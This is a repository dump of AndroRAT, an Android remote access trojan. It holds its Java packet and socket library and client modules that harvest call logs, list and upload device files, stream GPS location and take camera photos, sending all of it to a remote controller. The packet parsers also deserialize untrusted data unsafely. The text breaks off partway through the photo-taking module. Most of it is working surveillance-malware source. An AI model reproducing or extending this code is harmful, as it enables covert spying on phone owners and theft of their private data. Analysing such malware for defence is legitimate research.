30 | } catch (IOException e) {
31 | return null;
32 | }
33 | }
34 |
35 | public void parse(byte[] packet) {
36 | ByteArrayInputStream bis = new ByteArrayInputStream(packet);
37 | ObjectInputStream in;
38 | try {
39 | in = new ObjectInputStream(bis);
40 | list = (ArrayList) in.readObject();
41 | } catch (Exception e) {
42 | }
43 | }
44 |
45 | public ArrayList getList() {
46 | return list;
47 | }
48 | }
--------------------------------------------------------------------------------
/Experiment/InOut/Packet/FilePacket.java:
--------------------------------------------------------------------------------
1 | package Packet;
2 |
3 | import java.nio.ByteBuffer;
4 |
5 | public class FilePacket implements Packet {
6 |
7 | byte[] data;
8 | byte mf;
9 | short numSeq;
10 |
11 | public FilePacket() {
12 |
13 | }
14 |
15 | public FilePacket(short num, byte mf, byte[] data) {
16 | this.data = data;
17 | this.numSeq = num;
18 | this.mf = mf;
19 | }
20 |
21 | public byte[] build() {
22 | ByteBuffer b = ByteBuffer.allocate(data.length+3);
23 | b.putShort(numSeq);
24 | b.put(mf);
25 | b.put(data);
26 | return b.array();
27 | }
28 |
29 | public void parse(byte[] packet) {
30 | ByteBuffer b = ByteBuffer.wrap(packet);
31 |
32 | numSeq = b.getShort();
33 | mf = b.get();
34 | this.data = new byte[b.remaining()];
35 | b.get(data, 0, b.remaining());
36 | }
37 |
38 | public byte[] getData() {
39 | return data;
40 | }
41 |
42 | public byte getMf() {
43 | return mf;
44 | }
45 |
46 | public short getNumSeq() {
47 | return numSeq;
48 | }
49 |
50 | }
51 |
--------------------------------------------------------------------------------
/Experiment/InOut/Packet/FileTreePacket.java:
--------------------------------------------------------------------------------
1 | package Packet;
2 |
3 | import java.io.ByteArrayInputStream;
4 | import java.io.ByteArrayOutputStream;
5 | import java.io.IOException;
6 | import java.io.ObjectInputStream;
7 | import java.io.ObjectOutputStream;
8 | import java.util.ArrayList;
9 | import utils.MyFile;
10 |
11 | public class FileTreePacket implements Packet{
12 |
13 | private ArrayList list;
14 |
15 | public FileTreePacket() {
16 |
17 | }
18 |
19 | public FileTreePacket(ArrayList ar) {
20 | list = ar;
21 | }
22 |
23 | public byte[] build() {
24 | try {
25 | ByteArrayOutputStream bos = new ByteArrayOutputStream();
26 | ObjectOutputStream out = new ObjectOutputStream(bos);
27 | out.writeObject(list);
28 | return bos.toByteArray();
29 | } catch (IOException e) {
30 | return null;
31 | }
32 | }
33 |
34 | public void parse(byte[] packet) {
35 | ByteArrayInputStream bis = new ByteArrayInputStream(packet);
36 | ObjectInputStream in;
37 | try {
38 | in = new ObjectInputStream(bis);
39 | list = (ArrayList) in.readObject();
40 | } catch (Exception e) {
41 | }
42 | }
43 |
44 | public ArrayList getList() {
45 | return list;
46 | }
47 | }
48 |
--------------------------------------------------------------------------------
/Experiment/InOut/Packet/GPSPacket.java:
--------------------------------------------------------------------------------
1 | package Packet;
2 |
3 | import java.nio.ByteBuffer;
4 |
5 | public class GPSPacket implements Packet
6 | {
7 |
8 | private double longitude;
9 | private double latitude;
10 | private double altitude;
11 | private float speed;
12 | private float accuracy;
13 |
14 |
15 | public GPSPacket()
16 | {
17 |
18 | }
19 |
20 | public GPSPacket(double lat, double lon, double alt, float speed, float acc)
21 | {
22 | this.latitude = lat ;
23 | this.longitude = lon ;
24 | this.altitude = alt;
25 | this.speed = speed;
26 | this.accuracy = acc;
27 | }
28 |
29 | public byte[] build()
30 | {
31 | ByteBuffer b = ByteBuffer.allocate(32);
32 | System.out.println("Longitude : "+longitude);
33 | b.putDouble(this.longitude);
34 | b.putDouble(this.latitude);
35 | b.putDouble(this.altitude);
36 | b.putFloat(this.speed);
37 | b.putFloat(this.accuracy);
38 | return b.array();
39 | }
40 |
41 | public void parse(byte[] packet)
42 | {
43 | ByteBuffer b = ByteBuffer.wrap(packet);
44 | this.longitude = b.getDouble();
45 | this.latitude = b.getDouble();
46 | this.altitude = b.getDouble();
47 | this.speed = b.getFloat();
48 | this.accuracy = b.getFloat();
49 | }
50 |
51 |
52 |
53 | public double getLongitude()
54 | {
55 | return longitude;
56 | }
57 |
58 | public double getLatitude()
59 | {
60 | return latitude;
61 | }
62 |
63 | public double getAltitude()
64 | {
65 | return altitude;
66 | }
67 |
68 | public float getSpeed()
69 | {
70 | return speed;
71 | }
72 |
73 | public float getAccuracy()
74 | {
75 | return accuracy;
76 | }
77 |
78 | }
79 |
--------------------------------------------------------------------------------
/Experiment/InOut/Packet/LogPacket.java:
--------------------------------------------------------------------------------
1 | package Packet;
2 |
3 | import java.nio.ByteBuffer;
4 |
5 | public class LogPacket implements Packet {
6 |
7 | long date;
8 | byte type; //0 ok / 1 Error
9 | String message;
10 |
11 | public LogPacket() {
12 |
13 | }
14 |
15 | public LogPacket(long date, byte type, String message) {
16 | this.date = date;
17 | this.type = type;
18 | this.message = message;
19 | }
20 |
21 | public byte[] build() {
22 | ByteBuffer b = ByteBuffer.allocate(9+message.length());
23 | b.putLong(date);
24 | b.put(type);
25 | b.put(message.getBytes());
26 | return b.array();
27 | }
28 |
29 | public void parse(byte[] packet) {
30 | ByteBuffer b = ByteBuffer.wrap(packet);
31 | date = b.getLong();
32 | type = b.get();
33 | byte[] tmp = new byte[b.remaining()];
34 | b.get(tmp);
35 | message = new String(tmp);
36 | }
37 |
38 | public long getDate() {
39 | return date;
40 | }
41 |
42 | public byte getType() {
43 | return type;
44 | }
45 |
46 | public String getMessage() {
47 | return message;
48 | }
49 |
50 | }
51 |
--------------------------------------------------------------------------------
/Experiment/InOut/Packet/Packet.java:
--------------------------------------------------------------------------------
1 | package Packet;
2 |
3 | public interface Packet
4 | {
5 | public byte[] build();
6 |
7 | public void parse(byte[] packet);
8 | }
--------------------------------------------------------------------------------
/Experiment/InOut/Packet/RawPacket.java:
--------------------------------------------------------------------------------
1 | package Packet;
2 |
3 | public class RawPacket implements Packet {
4 |
5 | private byte[] data;
6 |
7 | public RawPacket() {
8 | // Nothing
9 | }
10 |
11 | public RawPacket(byte[] data) {
12 | this.data = data;
13 | }
14 |
15 | public byte[] build() {
16 | return data;
17 | }
18 |
19 | public void parse(byte[] packet) {
20 | data = packet;
21 | }
22 |
23 | public byte[] getData() {
24 | return data;
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/Experiment/InOut/Packet/SMSTreePacket.java:
--------------------------------------------------------------------------------
1 | package Packet;
2 |
3 | import java.io.ByteArrayInputStream;
4 | import java.io.ByteArrayOutputStream;
5 | import java.io.IOException;
6 | import java.io.ObjectInputStream;
7 | import java.io.ObjectOutputStream;
8 | import java.util.ArrayList;
9 |
10 | public class SMSTreePacket implements Packet{
11 |
12 | ArrayList list;
13 |
14 | public SMSTreePacket() {
15 |
16 | }
17 |
18 | public SMSTreePacket(ArrayList ar) {
19 | list = ar;
20 | }
21 |
22 | public byte[] build() {
23 | try {
24 | ByteArrayOutputStream bos = new ByteArrayOutputStream();
25 | ObjectOutputStream out = new ObjectOutputStream(bos);
26 | out.writeObject(list);
27 | return bos.toByteArray();
28 | } catch (IOException e) {
29 | return null;
30 | }
31 | }
32 |
33 | public void parse(byte[] packet) {
34 | ByteArrayInputStream bis = new ByteArrayInputStream(packet);
35 | ObjectInputStream in;
36 | try {
37 | in = new ObjectInputStream(bis);
38 | list = (ArrayList) in.readObject();
39 | } catch (Exception e) {
40 | }
41 | }
42 |
43 | public ArrayList getList() {
44 | return list;
45 | }
46 | }
--------------------------------------------------------------------------------
/Experiment/InOut/Packet/ShortSMSPacket.java:
--------------------------------------------------------------------------------
1 | package Packet;
2 |
3 | import java.nio.ByteBuffer;
4 |
5 | public class ShortSMSPacket implements Packet{
6 |
7 | private int address_size;
8 | private String address;
9 | private long date;
10 | private int body_size;
11 | private String body;
12 |
13 | public ShortSMSPacket() {
14 |
15 | }
16 |
17 | public ShortSMSPacket(String ad, long dat, String body) {
18 | this.address = ad;
19 | this.address_size = ad.length();
20 | this.date = dat;
21 | this.body = body;
22 | this.body_size = this.body.length();
23 | }
24 |
25 |
26 | public byte[] build() {
27 | ByteBuffer b = ByteBuffer.allocate(4+4+address.length()+4+4+8+4+body.length()+4);
28 | b.putInt(address_size);
29 | b.put(address.getBytes());
30 | b.putLong(date);
31 | b.putInt(body_size);
32 | b.put(body.getBytes());
33 | return b.array();
34 | }
35 |
36 | public void parse(byte[] packet) {
37 | ByteBuffer b = ByteBuffer.wrap(packet);
38 | this.address_size = b.getInt();
39 | byte[] tmp = new byte[address_size];
40 | b.get(tmp);
41 | this.address = new String(tmp);
42 | this.date = b.getLong();
43 | this.body_size = b.getInt();
44 | tmp = new byte[body_size];
45 | b.get(tmp);
46 | this.body = new String(tmp);
47 | }
48 |
49 | public String getAddress() {
50 | return address;
51 | }
52 |
53 | public long getDate() {
54 | return date;
55 | }
56 |
57 | public String getBody() {
58 | return body;
59 | }
60 | }
--------------------------------------------------------------------------------
/Experiment/InOut/in/Demux.java:
--------------------------------------------------------------------------------
1 | package in;
2 |
3 | import Packet.TransportPacket;
4 | import inout.Controler;
5 | import inout.Protocol;
6 | import java.nio.ByteBuffer;
7 |
8 | public class Demux {
9 | // acces au controler
10 | private Controler controler;
11 |
12 | // un packet
13 | private TransportPacket p;
14 |
15 |
16 | // l'identifiant du client
17 | private String imei;
18 |
19 | // le buffer de lecture
20 | private ByteBuffer buffer;
21 |
22 | // variables de controle
23 | private boolean partialDataExpected, reading;
24 |
25 | public Demux(Controler s, String i) {
26 | imei = i;
27 | controler = s;
28 | reading = true;
29 | partialDataExpected = false;
30 |
31 | }
32 |
33 | public boolean receive(ByteBuffer buffer) throws Exception
34 | {
35 |
36 | while (reading) {
37 |
38 |
39 | if(!partialDataExpected)
40 | //si on n'attend pas de donn�es partielles(dans le cas d'un paquet pas re�ue enti�rement)
41 | {
42 | // si la taille du buffer est insuffisante
43 | if ((buffer.limit() - buffer.position()) < Protocol.HEADER_LENGTH_DATA)
44 | {
45 |
46 | return true;
47 | }
48 | }
49 |
50 | // dans le cas d'un paquet partiellement recue
51 | if (partialDataExpected)
52 | partialDataExpected = p.parseCompleter(buffer);
53 | else
54 | {
55 | p = new TransportPacket();
56 | partialDataExpected = p.parse(buffer);
57 | }
58 |
59 |
60 |
61 | if (partialDataExpected)
62 | return true;
63 | else
64 | controler.Storage(p, imei);
65 |
66 | }
67 |
68 |
69 | reading = true;
70 | return true;
71 | }
72 |
73 | public void setImei(String i) {
74 | imei = i;
75 | }
76 |
77 | }
78 |
--------------------------------------------------------------------------------
/Experiment/InOut/in/Receiver.java:
--------------------------------------------------------------------------------
1 | package in;
2 |
3 | import java.io.IOException;
4 | import java.io.InputStream;
5 | import java.net.Socket;
6 | import java.net.SocketException;
7 | import java.nio.ByteBuffer;
8 | import java.nio.channels.SocketChannel;
9 | import java.util.concurrent.BlockingQueue;
10 | import java.util.concurrent.LinkedBlockingQueue;
11 |
12 | import inout.Protocol;
13 |
14 | public class Receiver {
15 |
16 | private Socket socket;
17 | private byte[] received_data;
18 | private ByteBuffer buffer;
19 | private InputStream is;
20 |
21 | public Receiver(Socket s) throws IOException {
22 | socket = s;
23 | is = socket.getInputStream();
24 |
25 | received_data = new byte[Protocol.MAX_PACKET_SIZE];
26 | buffer = ByteBuffer.allocate(Protocol.MAX_PACKET_SIZE);
27 | }
28 |
29 | public ByteBuffer read() throws IOException, SocketException {
30 | int n = 0;
31 |
32 | n = is.read(received_data);
33 |
34 | buffer.clear();
35 | buffer = ByteBuffer.wrap(received_data, 0, n);
36 | //System.out.println("data has been read:" + buffer.limit());
37 |
38 | return buffer;
39 | }
40 |
41 | }
42 |
--------------------------------------------------------------------------------
/Experiment/InOut/inout/Controler.java:
--------------------------------------------------------------------------------
1 | package inout;
2 |
3 | import Packet.TransportPacket;
4 |
5 | public interface Controler {
6 |
7 | public void Storage(TransportPacket tp, String i);
8 | }
9 |
--------------------------------------------------------------------------------
/Experiment/InOut/out/Connection.java:
--------------------------------------------------------------------------------
1 | //package InOut;
2 |
3 | package out;
4 |
5 | import java.io.DataInputStream;
6 | import java.io.DataOutputStream;
7 | import java.io.IOException;
8 | import java.net.ServerSocket;
9 | import java.net.Socket;
10 | import java.nio.ByteBuffer;
11 |
12 |
13 |
14 | import out.Mux;
15 |
16 | import in.Demux;
17 | import in.Receiver;
18 | import inout.Controler;
19 |
20 | public class Connection
21 | {
22 | Socket s;
23 | String ip = "localhost";
24 | int port = 5555;
25 | DataOutputStream out;
26 | DataInputStream in;
27 |
28 | boolean stop = false;
29 | ByteBuffer readInstruction;
30 | Mux m;
31 | Demux dem ;
32 | Controler controler;
33 | Receiver receive ;
34 |
35 | public Connection(String ip, int port)
36 | {
37 | this.ip = ip;
38 | this.port = port;
39 | }
40 |
41 | public Connection(String ip, int port, Controler ctrl)
42 | {
43 | this.ip = ip;
44 | this.port = port;
45 | this.controler = ctrl;
46 | }
47 |
48 | public boolean connect()
49 | {
50 | try
51 | {
52 | s = new Socket(ip, port);
53 | in = new DataInputStream(s.getInputStream());
54 | out = new DataOutputStream(s.getOutputStream());
55 | m = new Mux(out);
56 | dem = new Demux(controler, "moi");
57 | receive = new Receiver(s);
58 | return true;
59 | } catch (IOException e)
60 | {
61 | e.printStackTrace();
62 | return false;
63 | }
64 | }
65 |
66 | public boolean reconnect()
67 | {
68 | return connect();
69 | }
70 |
71 | public boolean accept(ServerSocket ss)
72 | {
73 | try
74 | {
75 | s = ss.accept();
76 |
77 | in = new DataInputStream(s.getInputStream());
78 | out = new DataOutputStream(s.getOutputStream());
79 | m = new Mux(out);
80 | return true;
81 |
82 | } catch (IOException e)
83 | {
84 |
85 | e.printStackTrace();
86 | return false;
87 | }
88 | }
89 |
90 | public ByteBuffer getInstruction() throws Exception
91 | {
92 | readInstruction = receive.read();
93 |
94 | if(dem.receive(readInstruction))
95 | readInstruction.compact();
96 | else
97 | readInstruction.clear();
98 |
99 | return readInstruction;
100 | }
101 |
102 | public void sendData(int chan, byte[] packet)
103 | {
104 | m.send(chan, packet);
105 | }
106 |
107 | public void stop() throws Exception{
108 | if(s != null)
109 | s.close();
110 | }
111 | }
--------------------------------------------------------------------------------
/Experiment/InOut/out/Sender.java:
--------------------------------------------------------------------------------
1 | package out;
2 |
3 | import java.io.DataOutputStream;
4 | import java.io.IOException;
5 |
6 | public class Sender {
7 |
8 | DataOutputStream out;
9 |
10 | public Sender(DataOutputStream out)
11 | {
12 | this.out = out ;
13 | }
14 |
15 | public void send(byte[] data)
16 | {
17 | try
18 | {
19 | out.write(data);
20 | } catch (IOException e)
21 | {
22 | e.printStackTrace();
23 | }
24 | }
25 | }
26 |
--------------------------------------------------------------------------------
/doc/contact.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/doc/contact.png
--------------------------------------------------------------------------------
/doc/gps.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/doc/gps.png
--------------------------------------------------------------------------------
/doc/homepanel.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/doc/homepanel.png
--------------------------------------------------------------------------------
/doc/main.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/doc/main.png
--------------------------------------------------------------------------------
/src/Androrat/.classpath:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
--------------------------------------------------------------------------------
/src/Androrat/.project:
--------------------------------------------------------------------------------
1 |
2 |
3 | Androrat
4 |
5 |
6 |
7 |
8 |
9 | com.android.ide.eclipse.adt.ResourceManagerBuilder
10 |
11 |
12 |
13 |
14 | com.android.ide.eclipse.adt.PreCompilerBuilder
15 |
16 |
17 |
18 |
19 | org.eclipse.jdt.core.javabuilder
20 |
21 |
22 |
23 |
24 | com.android.ide.eclipse.adt.ApkBuilder
25 |
26 |
27 |
28 |
29 |
30 | com.android.ide.eclipse.adt.AndroidNature
31 | org.eclipse.jdt.core.javanature
32 |
33 |
34 |
35 | INOUT_LIBRARY
36 | 2
37 | INOUT_LIBRARY
38 |
39 |
40 |
41 |
42 | INOUT_LIBRARY
43 | $%7BPARENT-1-PROJECT_LOC%7D/InOut
44 |
45 |
46 |
47 |
--------------------------------------------------------------------------------
/src/Androrat/.settings/org.eclipse.jdt.core.prefs:
--------------------------------------------------------------------------------
1 | eclipse.preferences.version=1
2 | org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5
3 | org.eclipse.jdt.core.compiler.compliance=1.5
4 | org.eclipse.jdt.core.compiler.source=1.5
5 |
--------------------------------------------------------------------------------
/src/Androrat/gen/my/app/client/BuildConfig.java:
--------------------------------------------------------------------------------
1 | /** Automatically generated file. DO NOT MODIFY */
2 | package my.app.client;
3 |
4 | public final class BuildConfig {
5 | public final static boolean DEBUG = true;
6 | }
--------------------------------------------------------------------------------
/src/Androrat/gen/my/app/client/R.java:
--------------------------------------------------------------------------------
1 | /* AUTO-GENERATED FILE. DO NOT MODIFY.
2 | *
3 | * This class was automatically generated by the
4 | * aapt tool from the resource data it found. It
5 | * should not be modified by hand.
6 | */
7 |
8 | package my.app.client;
9 |
10 | public final class R {
11 | public static final class attr {
12 | }
13 | public static final class drawable {
14 | public static final int ic_launcher=0x7f020000;
15 | }
16 | public static final class id {
17 | public static final int buttonstart=0x7f060002;
18 | public static final int buttonstop=0x7f060003;
19 | public static final int ipfield=0x7f060000;
20 | public static final int portfield=0x7f060001;
21 | }
22 | public static final class layout {
23 | public static final int main=0x7f030000;
24 | }
25 | public static final class string {
26 | public static final int app_name=0x7f050001;
27 | public static final int hello=0x7f050000;
28 | }
29 | public static final class xml {
30 | public static final int preferences=0x7f040000;
31 | }
32 | }
33 |
--------------------------------------------------------------------------------
/src/Androrat/proguard-project.txt:
--------------------------------------------------------------------------------
1 | # To enable ProGuard in your project, edit project.properties
2 | # to define the proguard.config property as described in that file.
3 | #
4 | # Add project specific ProGuard rules here.
5 | # By default, the flags in this file are appended to flags specified
6 | # in ${sdk.dir}/tools/proguard/proguard-android.txt
7 | # You can edit the include path and order by changing the ProGuard
8 | # include property in project.properties.
9 | #
10 | # For more details, see
11 | # http://developer.android.com/guide/developing/tools/proguard.html
12 |
13 | # Add any project specific keep options here:
14 |
15 | # If your project uses WebView with JS, uncomment the following
16 | # and specify the fully qualified class name to the JavaScript interface
17 | # class:
18 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview {
19 | # public *;
20 | #}
21 |
--------------------------------------------------------------------------------
/src/Androrat/project.properties:
--------------------------------------------------------------------------------
1 | # This file is automatically generated by Android Tools.
2 | # Do not modify this file -- YOUR CHANGES WILL BE ERASED!
3 | #
4 | # This file must be checked in Version Control Systems.
5 | #
6 | # To customize properties used by the Ant build system edit
7 | # "ant.properties", and override values to adapt the script to your
8 | # project structure.
9 | #
10 | # To enable ProGuard to shrink and obfuscate your code, uncomment this (available properties: sdk.dir, user.home):
11 | #proguard.config=${sdk.dir}\tools\proguard\proguard-android.txt:proguard-project.txt
12 |
13 | # Project target.
14 | target=android-8
15 |
--------------------------------------------------------------------------------
/src/Androrat/res/drawable-hdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/Androrat/res/drawable-hdpi/ic_launcher.png
--------------------------------------------------------------------------------
/src/Androrat/res/drawable-ldpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/Androrat/res/drawable-ldpi/ic_launcher.png
--------------------------------------------------------------------------------
/src/Androrat/res/drawable-mdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/Androrat/res/drawable-mdpi/ic_launcher.png
--------------------------------------------------------------------------------
/src/Androrat/res/drawable-xhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/Androrat/res/drawable-xhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/src/Androrat/res/layout/main.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 |
10 |
14 |
19 |
20 |
24 |
28 |
33 |
34 |
35 |
36 |
41 |
42 |
47 |
48 |
49 |
--------------------------------------------------------------------------------
/src/Androrat/res/values/strings.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Hello World, AndroratActivity!
5 | Androrat
6 |
7 |
--------------------------------------------------------------------------------
/src/Androrat/res/xml/preferences.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 |
6 |
10 |
11 |
12 |
16 |
17 |
18 |
22 |
23 |
24 |
28 |
29 |
30 |
34 |
35 |
36 |
40 |
41 |
42 |
43 |
--------------------------------------------------------------------------------
/src/Androrat/src/my/app/Library/CallLogLister.java:
--------------------------------------------------------------------------------
1 | package my.app.Library;
2 |
3 | import java.util.ArrayList;
4 |
5 | import my.app.client.ClientListener;
6 | import Packet.CallLogPacket;
7 | import Packet.CallPacket;
8 | import android.database.Cursor;
9 | import android.net.Uri;
10 | import android.provider.CallLog;
11 |
12 | public class CallLogLister {
13 |
14 |
15 | public static boolean listCallLog(ClientListener c, int channel, byte[] args) {
16 | ArrayList l = new ArrayList();
17 |
18 | boolean ret =false;
19 | String WHERE_CONDITION = new String(args);
20 | String SORT_ORDER = "date DESC";
21 | String[] column = { "_id", "type", "date", "duration", "number","name" ,"raw_contact_id" };
22 |
23 | Cursor cursor = c.getContentResolver().query(CallLog.Calls.CONTENT_URI, column , WHERE_CONDITION, null, SORT_ORDER);
24 |
25 |
26 | if(cursor.getCount() != 0) {
27 | cursor.moveToFirst();
28 |
29 | do{
30 | if(cursor.getColumnCount() != 0) {
31 | int id = cursor.getInt(cursor.getColumnIndex("_id"));
32 | int type = cursor.getInt(cursor.getColumnIndex("type"));
33 | long date = cursor.getLong(cursor.getColumnIndex("date"));
34 | long duration = cursor.getLong(cursor.getColumnIndex("duration"));
35 | String number = cursor.getString(cursor.getColumnIndex("number"));
36 | String name = cursor.getString(cursor.getColumnIndex("name"));
37 | int raw_contact_id = cursor.getInt(cursor.getColumnIndex("raw_contact_id"));
38 |
39 | l.add(new CallPacket(id, type, date, duration, raw_contact_id, number, name));
40 | }
41 | }while(cursor.moveToNext());
42 | ret = true;
43 | }
44 | else
45 | ret = false;
46 |
47 |
48 |
49 | c.handleData(channel, new CallLogPacket(l).build());
50 | return ret;
51 | }
52 |
53 | }
54 |
--------------------------------------------------------------------------------
/src/Androrat/src/my/app/Library/DirLister.java:
--------------------------------------------------------------------------------
1 | package my.app.Library;
2 |
3 | import java.io.File;
4 | import java.util.ArrayList;
5 |
6 | import my.app.client.ClientListener;
7 |
8 | import utils.MyFile;
9 | import Packet.FileTreePacket;
10 | import android.content.Context;
11 | import android.os.Environment;
12 |
13 | public class DirLister {
14 |
15 | public static boolean listDir(ClientListener c, int channel, String dirname) {
16 | File f;
17 | ArrayList ar = new ArrayList();
18 |
19 | if(dirname.equals("/"))
20 | f = Environment.getExternalStorageDirectory();
21 | else
22 | f = new File(dirname);
23 |
24 | if (!f.exists()) {
25 | return false;
26 | }
27 | else {
28 | ar.add(visitAllDirsAndFiles(f));
29 | c.handleData(channel, new FileTreePacket(ar).build());
30 | return true;
31 | }
32 | }
33 |
34 | public static void visitAllDirsAndFiles(File dir, ArrayList ar) {
35 |
36 | if(dir.exists()) {
37 | if (dir.isDirectory()) {
38 | String[] children = dir.list();
39 | ar.add(new MyFile(dir));
40 | if(children != null) {
41 | for (String child: children) {
42 | //System.out.println(dir.toString()+"/"+child);
43 | try {
44 | File f = new File(dir, child);
45 | visitAllDirsAndFiles(f, ar);
46 | }
47 | catch(Exception e) {
48 | System.out.println("Child !"+child);
49 | e.printStackTrace();
50 | }
51 | }
52 | }
53 | }
54 | else
55 | ar.add(new MyFile(dir));
56 | }
57 | }
58 |
59 | public static MyFile visitAllDirsAndFiles(File dir) {
60 |
61 | if(dir.exists()) {
62 | if (dir.isDirectory()) {
63 | String[] children = dir.list();
64 | MyFile myf = new MyFile(dir);
65 | //ar.add(new MyFile(dir));
66 | if(children != null) {
67 | if(children.length != 0) {
68 | for (String child: children) {
69 | //System.out.println(dir.toString()+"/"+child);
70 | try {
71 | File f = new File(dir, child);
72 | myf.addChild(visitAllDirsAndFiles(f));
73 | }
74 | catch(Exception e) {
75 | System.out.println("Child !"+child);
76 | e.printStackTrace();
77 | }
78 | }
79 | }
80 | }
81 | return myf;
82 | }
83 | else
84 | return new MyFile(dir);
85 | }
86 | return null;
87 | }
88 |
89 | }
90 |
--------------------------------------------------------------------------------
/src/Androrat/src/my/app/Library/FileDownloader.java:
--------------------------------------------------------------------------------
1 | package my.app.Library;
2 |
3 | import java.io.File;
4 | import java.io.FileInputStream;
5 | import java.io.FileNotFoundException;
6 | import java.io.IOException;
7 | import java.io.InputStream;
8 |
9 | import my.app.client.ClientListener;
10 |
11 | import Packet.FilePacket;
12 |
13 | public class FileDownloader {
14 |
15 | ClientListener ctx;
16 | byte[] finalData;
17 | InputStream in;
18 | File f;
19 | int channel;
20 | FilePacket packet;
21 | byte[] buffer;
22 | short numseq = 0;
23 | int BUFF_SIZE = 4096;
24 |
25 | public FileDownloader(ClientListener c) {
26 | ctx = c;
27 | }
28 |
29 | public boolean downloadFile(String s, int chan) {
30 | channel = chan;
31 | f = new File(s);
32 | try {
33 | in = new FileInputStream(f);
34 | } catch (FileNotFoundException e) {
35 | return false;
36 | }
37 |
38 | Thread loadf = new Thread(new Runnable() {
39 | public void run() {
40 | load();
41 | }
42 | });
43 | loadf.start();
44 |
45 | return true;
46 | }
47 |
48 | public void load() {
49 | try {
50 | while(true) {
51 | buffer = new byte[BUFF_SIZE];
52 | int read = in.read(buffer);
53 | if (read == -1) {
54 | break;
55 | }
56 | if (read == BUFF_SIZE) {
57 | packet = new FilePacket(numseq, (byte) 1, buffer);
58 | ctx.handleData(channel, packet.build());
59 | numseq ++;
60 | }
61 | else {//C'était le dernier paquet
62 | byte[] tmp = new byte[read];
63 | System.arraycopy(buffer, 0, tmp, 0, read);
64 | packet = new FilePacket(numseq, (byte) 0, tmp);
65 | ctx.handleData(channel, packet.build());
66 | break;
67 | }
68 | }
69 | in.close();
70 | }
71 | catch(IOException e) {
72 | ctx.sendError("IOException loading file");
73 | }
74 | }
75 | }
76 |
--------------------------------------------------------------------------------
/src/Androrat/src/my/app/Library/GPSListener.java:
--------------------------------------------------------------------------------
1 | package my.app.Library;
2 |
3 | import java.nio.ByteBuffer;
4 |
5 | import Packet.GPSPacket;
6 |
7 | import android.content.Context;
8 | import android.location.Location;
9 | import android.location.LocationListener;
10 | import android.location.LocationManager;
11 |
12 | public class GPSListener {
13 |
14 | private Context ctx;
15 | private String provider;
16 | private LocationManager mlocManager;
17 | private LocationListener listener;
18 | private int channel ;
19 | private GPSPacket packet;
20 |
21 | public GPSListener(LocationListener c, String prov, int chan) {
22 | listener = c;
23 | provider = prov;
24 | channel = chan ;
25 |
26 | packet = new GPSPacket();
27 |
28 | mlocManager = (LocationManager) ((Context) c).getSystemService(Context.LOCATION_SERVICE);
29 | mlocManager.requestLocationUpdates( prov, 0, 0, listener);
30 | //mlocManager.requestLocationUpdates( LocationManager.NETWORK_PROVIDER, 0, 0, listener);
31 | }
32 |
33 | public void stop() {
34 | if (mlocManager != null) {
35 | mlocManager.removeUpdates(listener);
36 | }
37 | }
38 |
39 |
40 | public byte[] encode(Location loc) {
41 | packet = new GPSPacket(loc.getLatitude(), loc.getLongitude(), loc.getAltitude(), loc.getSpeed(), loc.getAccuracy());
42 | return packet.build();
43 | /*
44 | ByteBuffer b = ByteBuffer.allocate(32);
45 | b.putDouble(loc.getLongitude());
46 | b.putDouble(loc.getLatitude());
47 | b.putDouble(loc.getAltitude());
48 | b.putFloat(loc.getAccuracy());
49 | b.putFloat(loc.getSpeed());
50 | return b.array();
51 | */
52 | }
53 |
54 | public int getChannel()
55 | {
56 | return channel;
57 | }
58 |
59 | }
--------------------------------------------------------------------------------
/src/Androrat/src/my/app/Library/PhotoTaker.java:
--------------------------------------------------------------------------------
1 | package my.app.Library;
2 |
3 | import java.io.IOException;
4 |
5 | import my.app.client.ClientListener;
6 | import android.content.Context;
7 | import android.content.Intent;
8 | import android.content.pm.PackageManager;
9 | import android.hardware.Camera;
10 | import android.hardware.Camera.PictureCallback;
11 | import android.sax.StartElementListener;
12 | import android.util.Log;
13 | import android.view.SurfaceHolder;
14 | import android.view.SurfaceView;
15 |
16 | public class PhotoTaker {
17 |
18 | Camera cam;
19 | ClientListener ctx;
20 | int chan ;
21 | SurfaceHolder holder;
22 |
23 | private PictureCallback pic = new PictureCallback() {
24 |
25 | public void onPictureTaken(byte[] data, Camera camera) {
26 |
27 | ctx.handleData(chan, data);
28 | Log.i("PhotoTaker", "After take picture !");
29 | cam.release();
30 | cam = null;
31 | }
32 | };
33 |
34 | public PhotoTaker(ClientListener c, int chan) {
35 | this.chan = chan ;
36 | ctx = c;
37 | }
38 | /*
39 | public boolean takePhoto() {
40 | Intent photoActivity = new Intent(this, PhotoActivity.class);
41 | photoActivity.setAction(PhotoTaker.class.getName());
42 | ctx.star
43 | }
44 | */
45 |
46 | public boolean takePhoto() {
47 | if(!(ctx.getApplicationContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_CAMERA)))
48 | return false;
49 | Log.i("PhotoTaker", "Just before Open !");
50 | try {
51 | cam = Camera.open();
52 | } catch (Exception e) { return false; }
53 |
